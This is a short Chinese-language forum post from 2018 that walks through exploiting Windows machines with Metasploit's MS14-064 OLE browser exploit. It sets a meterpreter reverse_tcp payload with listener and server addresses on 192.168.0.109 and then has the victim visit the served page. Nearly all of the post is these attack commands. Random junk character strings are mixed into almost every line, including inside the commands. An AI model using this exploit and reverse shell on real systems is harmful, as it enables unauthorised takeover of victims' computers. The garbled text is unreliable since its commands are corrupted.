# t' ^- D% M' j7 D4 V& d% u X
我发现msf下的exp只能针对带有powershell的机器进行攻击，我们用如下方法来搞演示1 Z) u& Z) O) `" F" r
4 L) } a, q" L7 g5 N1 q0 [
5 V/ c8 C0 @# j' K& i# U* X
开启msf执行命令use exploits/windows/browser/ms14_064_ole_code_execution如图：
6 k% o# L: h4 @! I
& c& A+ p( }" F" a! B, m8 o) d! q0 J9 H* [8 N
然后执行命令 set PAYLOAD windows/meterpreter/reverse_tcp1 Q( T* }7 Y; r. U3 |
! P; S$ r2 q) h; r$ \/ ]
' R/ ?8 y* Z7 F t9 q. G1 V, H set AllowPowershellPrompt true
/ T( a0 M( ?9 a5 Y
^* q( Z, t6 n# i% u8 ~ J3 ?! `3 V" I2 Z7 B7 e
Set LHOST 192.168.0.109: R3 @" T% q# B& h/ t/ u
# d" o, f' G5 h. @, [- N& D* U3 T: ?) x' B8 ]
set SRVHOST 192.168.0.109
. n! A0 b. g+ w
+ `0 r+ F& Q+ a7 _: a+ J8 }+ [
+ Y3 D7 W+ ]3 L H2 v Set uripath share
& ]% I$ l- t/ z
8 ~1 a+ U5 j- }- p/ X& g
1 t# A9 X" |2 w c% \; }; i: q3 s. R
Set srvport 803 {- D% ~; o# x
" l# F- q& b! u0 y; \' A
2 ~0 x6 A6 D* ^ ] b 
: ^) \3 h9 i- d- d$ y4 E1 J ?# Z
- i% e4 [8 v* ]4 ~* @ |' j$ } s1 n
0 w4 w3 H! h6 m9 G0 N9 w
% U' v, m# {4 t
8 F; Z! e1 a" e! r ?
0 m; f9 f) d/ ?; d- _8 q- b+ l $ Y+ E/ \! z' E0 b. Z6 A' Q
}/ f) d, ]( q: l
" O# e$ o( T1 {! S
: K4 J2 S9 R- n! Q: e2 D
8 r# T4 I% t3 v$ s: r# X/ p( U2 `
. N" ]# s0 T) p
6 o; q$ ~2 O) W2 _! |2 J8 y0 }, N% g. Z: w8 {5 L0 |
下面我们来访问本地地址如图：& h: p3 e+ ]5 s8 }
, p! G2 O; E# j. {8 v. {, k+ Q% r5 S& ^! r3 e
* e2 x( d# ?; E% S& h) K, F& C9 S
" G% B) @1 s6 ^( D; i2 ?! N
; o r; f# g- S: n& ?, T 5 t0 I* h0 x) v$ B# d4 p9 E. |
$ ~/ w+ A: H! L1 G) A7 s
. K7 U" b# K1 U" H1 ~ 
8 n! g" J& g( E1 E- r6 E8 `
发表于 2018-10-20 20:20:35
收藏
支持
反对